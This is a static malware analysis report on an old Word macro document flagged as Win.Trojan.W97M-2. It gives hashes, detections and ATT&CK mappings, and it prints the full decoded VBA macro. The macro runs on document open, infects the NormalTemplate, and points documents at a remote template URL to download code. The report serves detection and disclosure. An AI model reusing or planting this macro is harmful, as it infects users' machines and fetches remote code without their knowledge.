Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69476ce52ced2bc4…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-01-23 06:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6b44f6cd8b0f2dd19139c23c4dd750a8 SHA-1: a7163312e8e4933fa1e393bb264772459a3a5e84 SHA-256: 69476ce52ced2bc4b9177cabddc8003d1874e273abbce14e5360614c63ae73db
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for Win.Trojan.W97M-2 and a high-severity heuristic for a Document_Open macro. The VBA script within the document attempts to modify the NormalTemplate to download and execute a new template from the URL http://www.sourceofkaos.com/homes/1nternal/update.dot, indicating a downloader or droppper functionality.

Heuristics 4

  • ClamAV: Win.Trojan.W97M-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.sourceofkaos.com/homes/1nternal/update.dot In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1020 bytes
SHA-256: cebb215813251a58b48e67a8f2123f2883c4dec62a559e5fc579c33ae188dee8
Detection
ClamAV: Win.Trojan.W97M-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Active Template Update v0.2 /1nternal
Private Sub document_open()
    On Error Resume Next
    For Each TT In Templates
        If TT.VBProject.VBComponents(1).CodeModule.Lines(1, 1) = "'<!--1nternal-->" Then Exit For
    Next
    Set TT = TT.VBProject.VBComponents(1).CodeModule
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.InsertLines 1, "'<!--1nternal-->"
        NT.InsertLines 2, "Private Sub Document_open"
        NT.InsertLines 3, "On Error Resume Next"
        NT.InsertLines 4, "ActiveDocument.AttachedTemplate = ""http://www.sourceofkaos.com/homes/1nternal/update.dot"""
        NT.InsertLines 5, "End Sub"
    End If
End Sub